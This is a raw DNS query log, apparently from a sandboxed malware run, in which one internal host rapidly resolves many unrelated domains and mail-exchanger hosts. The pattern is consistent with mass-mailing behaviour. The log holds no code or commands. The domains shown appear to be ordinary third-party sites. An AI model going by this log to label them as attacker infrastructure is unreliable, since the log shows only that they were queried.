Jul 27, 2023 21:53:33.764770985 CEST	192.168.2.4	8.8.8.8	0xb221	Standard query (0)	assideum.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.775933981 CEST	192.168.2.4	8.8.8.8	0xb1f6	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.786412001 CEST	192.168.2.4	8.8.8.8	0xd3c5	Standard query (0)	alexpope.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.828830957 CEST	192.168.2.4	8.8.8.8	0xba82	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.830552101 CEST	192.168.2.4	8.8.8.8	0x78ad	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.830636978 CEST	192.168.2.4	8.8.8.8	0xa45	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.831398010 CEST	192.168.2.4	8.8.8.8	0x9723	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.835570097 CEST	192.168.2.4	8.8.8.8	0xc556	Standard query (0)	aluminox.es	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.839847088 CEST	192.168.2.4	8.8.8.8	0x3031	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.842627048 CEST	192.168.2.4	8.8.8.8	0x6c43	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.890162945 CEST	192.168.2.4	8.8.8.8	0x1c26	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.897670031 CEST	192.168.2.4	8.8.8.8	0x7176	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.905728102 CEST	192.168.2.4	8.8.8.8	0xe534	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.920896053 CEST	192.168.2.4	8.8.8.8	0x593b	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.935117006 CEST	192.168.2.4	8.8.8.8	0xbe1f	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.945431948 CEST	192.168.2.4	8.8.8.8	0x15d	Standard query (0)	insia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.946250916 CEST	192.168.2.4	8.8.8.8	0xcf95	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.968498945 CEST	192.168.2.4	8.8.8.8	0xdc3f	Standard query (0)	dbnet.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.980515957 CEST	192.168.2.4	8.8.8.8	0x1bb1	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.986601114 CEST	192.168.2.4	8.8.8.8	0x81d1	Standard query (0)	softizer.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.999615908 CEST	192.168.2.4	8.8.8.8	0x3974	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.000467062 CEST	192.168.2.4	8.8.8.8	0x4883	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.001807928 CEST	192.168.2.4	8.8.8.8	0x31f1	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.026026964 CEST	192.168.2.4	8.8.8.8	0x3182	Standard query (0)	in1.smtp.messagingengine.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.055264950 CEST	192.168.2.4	8.8.8.8	0xe3cb	Standard query (0)	mail7.digitalwaves.co.nz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.059756994 CEST	192.168.2.4	8.8.8.8	0xb008	Standard query (0)	flamingorecordings.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.084847927 CEST	192.168.2.4	8.8.8.8	0xcf36	Standard query (0)	oozkranj.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.088661909 CEST	192.168.2.4	8.8.8.8	0xd9de	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.119499922 CEST	192.168.2.4	8.8.8.8	0x23dc	Standard query (0)	at-shun.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.150913000 CEST	192.168.2.4	8.8.8.8	0xb9a	Standard query (0)	ncn.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.177294016 CEST	192.168.2.4	8.8.8.8	0x6819	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.201479912 CEST	192.168.2.4	8.8.8.8	0x6678	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.210104942 CEST	192.168.2.4	8.8.8.8	0xa5bd	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.210520029 CEST	192.168.2.4	8.8.8.8	0xf6a5	Standard query (0)	ramkome.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.247761965 CEST	192.168.2.4	8.8.8.8	0xadd6	Standard query (0)	xsui.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.247833967 CEST	192.168.2.4	8.8.8.8	0x9d8e	Standard query (0)	yhsll.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.247906923 CEST	192.168.2.4	8.8.8.8	0x9f0c	Standard query (0)	any-s.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.250858068 CEST	192.168.2.4	8.8.8.8	0x74d	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.255193949 CEST	192.168.2.4	8.8.8.8	0xcc0b	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.257016897 CEST	192.168.2.4	8.8.8.8	0xa14a	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.261857986 CEST	192.168.2.4	8.8.8.8	0x63f2	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.268003941 CEST	192.168.2.4	8.8.8.8	0x37e4	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.271713018 CEST	192.168.2.4	8.8.8.8	0xe325	Standard query (0)	deckoviny.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.275373936 CEST	192.168.2.4	8.8.8.8	0x6325	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.277172089 CEST	192.168.2.4	8.8.8.8	0x462b	Standard query (0)	nme.co.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.278285980 CEST	192.168.2.4	8.8.8.8	0xfb0e	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.294456959 CEST	192.168.2.4	8.8.8.8	0xb475	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.295507908 CEST	192.168.2.4	8.8.8.8	0x62f3	Standard query (0)	apcotex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.370623112 CEST	192.168.2.4	8.8.8.8	0xd2c	Standard query (0)	dhh.la.gov	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.372122049 CEST	192.168.2.4	8.8.8.8	0x823f	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.392158985 CEST	192.168.2.4	8.8.8.8	0xee49	Standard query (0)	ludomemo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.399854898 CEST	192.168.2.4	8.8.8.8	0xde22	Standard query (0)	dyag-eng.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.406049967 CEST	192.168.2.4	8.8.8.8	0xc2c8	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.413165092 CEST	192.168.2.4	8.8.8.8	0x9dc8	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.426615953 CEST	192.168.2.4	8.8.8.8	0xf666	Standard query (0)	kevyt.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.431651115 CEST	192.168.2.4	8.8.8.8	0x8547	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.436496019 CEST	192.168.2.4	8.8.8.8	0xbaea	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.437968969 CEST	192.168.2.4	8.8.8.8	0x3d71	Standard query (0)	sigtoa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.441433907 CEST	192.168.2.4	8.8.8.8	0x495a	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.446235895 CEST	192.168.2.4	8.8.8.8	0xb832	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.448637962 CEST	192.168.2.4	8.8.8.8	0x72b4	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.459142923 CEST	192.168.2.4	8.8.8.8	0xb59c	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.480730057 CEST	192.168.2.4	8.8.8.8	0x892	Standard query (0)	in1.smtp.messagingengine.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.487464905 CEST	192.168.2.4	8.8.8.8	0xf9b1	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.491548061 CEST	192.168.2.4	8.8.8.8	0xccb2	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.519365072 CEST	192.168.2.4	8.8.8.8	0x8283	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.538904905 CEST	192.168.2.4	8.8.8.8	0x293	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.612663984 CEST	192.168.2.4	8.8.8.8	0x762e	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.619348049 CEST	192.168.2.4	8.8.8.8	0xc4a0	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.635493040 CEST	192.168.2.4	8.8.8.8	0x467a	Standard query (0)	mail7.digitalwaves.co.nz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.641071081 CEST	192.168.2.4	8.8.8.8	0x66cc	Standard query (0)	nekono.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.653652906 CEST	192.168.2.4	8.8.8.8	0xc3bc	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.669256926 CEST	192.168.2.4	8.8.8.8	0x4200	Standard query (0)	wahw.com.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.743664026 CEST	192.168.2.4	8.8.8.8	0x82e0	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.769757986 CEST	192.168.2.4	8.8.8.8	0x8b5	Standard query (0)	ldh.la.gov	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.777559996 CEST	192.168.2.4	8.8.8.8	0x7fe0	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.779740095 CEST	192.168.2.4	8.8.8.8	0xc03	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.790962934 CEST	192.168.2.4	8.8.8.8	0x5ea4	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.808382988 CEST	192.168.2.4	8.8.8.8	0xa6a1	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.808433056 CEST	192.168.2.4	8.8.8.8	0x5984	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.813924074 CEST	192.168.2.4	8.8.8.8	0x488	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.813924074 CEST	192.168.2.4	8.8.8.8	0x4c55	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.814018011 CEST	192.168.2.4	8.8.8.8	0xeaa4	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.814589024 CEST	192.168.2.4	8.8.8.8	0x69ec	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.815025091 CEST	192.168.2.4	8.8.8.8	0xb173	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.818150043 CEST	192.168.2.4	8.8.8.8	0x82e5	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.818243027 CEST	192.168.2.4	8.8.8.8	0xc57b	Standard query (0)	orlyhotel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.838821888 CEST	192.168.2.4	8.8.8.8	0x4179	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.839787960 CEST	192.168.2.4	8.8.8.8	0x3094	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.841466904 CEST	192.168.2.4	8.8.8.8	0xca6b	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.845184088 CEST	192.168.2.4	8.8.8.8	0x606e	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.864738941 CEST	192.168.2.4	8.8.8.8	0xc4f5	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.879436970 CEST	192.168.2.4	8.8.8.8	0xb76b	Standard query (0)	diamir.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.889513016 CEST	192.168.2.4	8.8.8.8	0xdab9	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.910552025 CEST	192.168.2.4	8.8.8.8	0xe63f	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.922624111 CEST	192.168.2.4	8.8.8.8	0x9d9e	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.933304071 CEST	192.168.2.4	8.8.8.8	0x2e4c	Standard query (0)	78san.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.009454966 CEST	192.168.2.4	8.8.8.8	0x82a8	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.016556978 CEST	192.168.2.4	8.8.8.8	0x4883	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.099361897 CEST	192.168.2.4	8.8.8.8	0xa43a	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.104726076 CEST	192.168.2.4	8.8.8.8	0x3d31	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.112034082 CEST	192.168.2.4	8.8.8.8	0xeb20	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.237174988 CEST	192.168.2.4	8.8.8.8	0x784c	Standard query (0)	dyag-eng.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.270190001 CEST	192.168.2.4	8.8.8.8	0xa72d	Standard query (0)	106west.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.307338953 CEST	192.168.2.4	8.8.8.8	0xc6b7	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.425228119 CEST	192.168.2.4	8.8.8.8	0xfc44	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.444447994 CEST	192.168.2.4	8.8.8.8	0x781c	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.523503065 CEST	192.168.2.4	8.8.8.8	0xdb03	Standard query (0)	johnlyon.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.561331987 CEST	192.168.2.4	8.8.8.8	0xca10	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.563580036 CEST	192.168.2.4	8.8.8.8	0xe9ad	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.568466902 CEST	192.168.2.4	8.8.8.8	0x3a2d	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.569380045 CEST	192.168.2.4	8.8.8.8	0x100c	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.624993086 CEST	192.168.2.4	8.8.8.8	0xc4a0	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.647520065 CEST	192.168.2.4	8.8.8.8	0x72bb	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.665920973 CEST	192.168.2.4	8.8.8.8	0x185e	Standard query (0)	cnti.krsn.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.684535027 CEST	192.168.2.4	8.8.8.8	0x9c18	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.731118917 CEST	192.168.2.4	8.8.8.8	0x7991	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.738614082 CEST	192.168.2.4	8.8.8.8	0x84e0	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.768471956 CEST	192.168.2.4	8.8.8.8	0x236f	Standard query (0)	hubbikes.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.771946907 CEST	192.168.2.4	8.8.8.8	0x762e	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.772399902 CEST	192.168.2.4	8.8.8.8	0x6da5	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.774580956 CEST	192.168.2.4	8.8.8.8	0x5d56	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.785952091 CEST	192.168.2.4	8.8.8.8	0x67dd	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.789820910 CEST	192.168.2.4	8.8.8.8	0xb2ad	Standard query (0)	strazynski.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.815737009 CEST	192.168.2.4	8.8.8.8	0x24cf	Standard query (0)	iranytu.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.842972994 CEST	192.168.2.4	8.8.8.8	0xc03	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.848843098 CEST	192.168.2.4	8.8.8.8	0x4687	Standard query (0)	iranytu.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.867630959 CEST	192.168.2.4	8.8.8.8	0x3d7	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.886095047 CEST	192.168.2.4	8.8.8.8	0x80d2	Standard query (0)	iranytu.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.896853924 CEST	192.168.2.4	8.8.8.8	0x95f5	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.914346933 CEST	192.168.2.4	8.8.8.8	0x833c	Standard query (0)	sokuwan.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.976221085 CEST	192.168.2.4	8.8.8.8	0xf5ed	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.001465082 CEST	192.168.2.4	8.8.8.8	0x51b7	Standard query (0)	shenhgts.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.003637075 CEST	192.168.2.4	8.8.8.8	0x8551	Standard query (0)	hyab.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.006588936 CEST	192.168.2.4	8.8.8.8	0xc057	Standard query (0)	impexnc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.022301912 CEST	192.168.2.4	8.8.8.8	0x3965	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.024005890 CEST	192.168.2.4	8.8.8.8	0x7c89	Standard query (0)	mackusick.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.024658918 CEST	192.168.2.4	8.8.8.8	0x5772	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.026557922 CEST	192.168.2.4	8.8.8.8	0x61fa	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.035155058 CEST	192.168.2.4	8.8.8.8	0xcc0a	Standard query (0)	indonesiamedia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.038022995 CEST	192.168.2.4	8.8.8.8	0x4dbe	Standard query (0)	mackusick.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.040833950 CEST	192.168.2.4	8.8.8.8	0x35fb	Standard query (0)	sinwal.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.040833950 CEST	192.168.2.4	8.8.8.8	0xd2e1	Standard query (0)	www.diamir.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.042170048 CEST	192.168.2.4	8.8.8.8	0x8806	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.046900034 CEST	192.168.2.4	8.8.8.8	0x4883	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.048342943 CEST	192.168.2.4	8.8.8.8	0xc042	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.051275969 CEST	192.168.2.4	8.8.8.8	0xbc1e	Standard query (0)	pleszew.policja.gov.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.057830095 CEST	192.168.2.4	8.8.8.8	0xdd81	Standard query (0)	clinicasanluis.com.co	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.089293003 CEST	192.168.2.4	8.8.8.8	0xcb8b	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.131372929 CEST	192.168.2.4	8.8.8.8	0x9e8d	Standard query (0)	techtrans.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.134565115 CEST	192.168.2.4	8.8.8.8	0xa3f1	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.147305012 CEST	192.168.2.4	8.8.8.8	0xe978	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.148195982 CEST	192.168.2.4	8.8.8.8	0xfe90	Standard query (0)	metaforacom.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.166804075 CEST	192.168.2.4	8.8.8.8	0x64a6	Standard query (0)	iranytu.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.177541018 CEST	192.168.2.4	8.8.8.8	0x98d3	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.205897093 CEST	192.168.2.4	8.8.8.8	0xf1db	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.217536926 CEST	192.168.2.4	192.58.128.30	0x55	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Jul 27, 2023 21:53:36.241444111 CEST	192.168.2.4	8.8.8.8	0x14b	Standard query (0)	iranytu.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.259826899 CEST	192.168.2.4	192.5.5.241	0x3	Standard query (0)	org	NS (Name server)	IN (0x0001)	false
Jul 27, 2023 21:53:36.260901928 CEST	192.168.2.4	8.8.8.8	0x159	Standard query (0)	kewlmail.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.277355909 CEST	192.168.2.4	192.5.5.241	0x16	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
Jul 27, 2023 21:53:36.278781891 CEST	192.168.2.4	8.8.8.8	0x539	Standard query (0)	iranytu.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.290009022 CEST	192.168.2.4	8.8.8.8	0x7235	Standard query (0)	magicomm.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.325356960 CEST	192.168.2.4	8.8.8.8	0xe27	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.356653929 CEST	192.168.2.4	8.8.8.8	0x94ca	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.356653929 CEST	192.168.2.4	8.8.8.8	0xeb86	Standard query (0)	ludomemo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.375418901 CEST	192.168.2.4	8.8.8.8	0x713e	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.478043079 CEST	192.168.2.4	8.8.8.8	0xe65f	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.564193964 CEST	192.168.2.4	8.8.8.8	0x43c	Standard query (0)	kumaden.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.595407009 CEST	192.168.2.4	8.8.8.8	0xb83e	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.606614113 CEST	192.168.2.4	8.8.8.8	0xfecd	Standard query (0)	geecl.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.608854055 CEST	192.168.2.4	8.8.8.8	0x1e7f	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.637037992 CEST	192.168.2.4	8.8.8.8	0x6324	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.640366077 CEST	192.168.2.4	8.8.8.8	0x1865	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.674554110 CEST	192.168.2.4	8.8.8.8	0x1678	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.823146105 CEST	192.168.2.4	8.8.8.8	0x86c1	Standard query (0)	msl-lock.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.835438967 CEST	192.168.2.4	192.228.79.201	0xa3	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Jul 27, 2023 21:53:36.847095966 CEST	192.168.2.4	8.8.8.8	0xc200	Standard query (0)	smtp.sbcglobal.yahoo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.862207890 CEST	192.168.2.4	192.33.4.12	0xf5	Standard query (0)	org	NS (Name server)	IN (0x0001)	false
Jul 27, 2023 21:53:36.868341923 CEST	192.168.2.4	8.8.8.8	0x3d7	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.879199028 CEST	192.168.2.4	8.8.8.8	0xc03	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.885467052 CEST	192.168.2.4	192.203.230.10	0xc2	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
Jul 27, 2023 21:53:36.887916088 CEST	192.168.2.4	8.8.8.8	0xf803	Standard query (0)	doggybag.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.931188107 CEST	192.168.2.4	8.8.8.8	0x5ae0	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.033042908 CEST	192.168.2.4	8.8.8.8	0x176f	Standard query (0)	alexpope.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.056319952 CEST	192.168.2.4	8.8.8.8	0x3707	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.196216106 CEST	192.168.2.4	8.8.8.8	0x8af2	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.273505926 CEST	192.168.2.4	8.8.8.8	0xff61	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
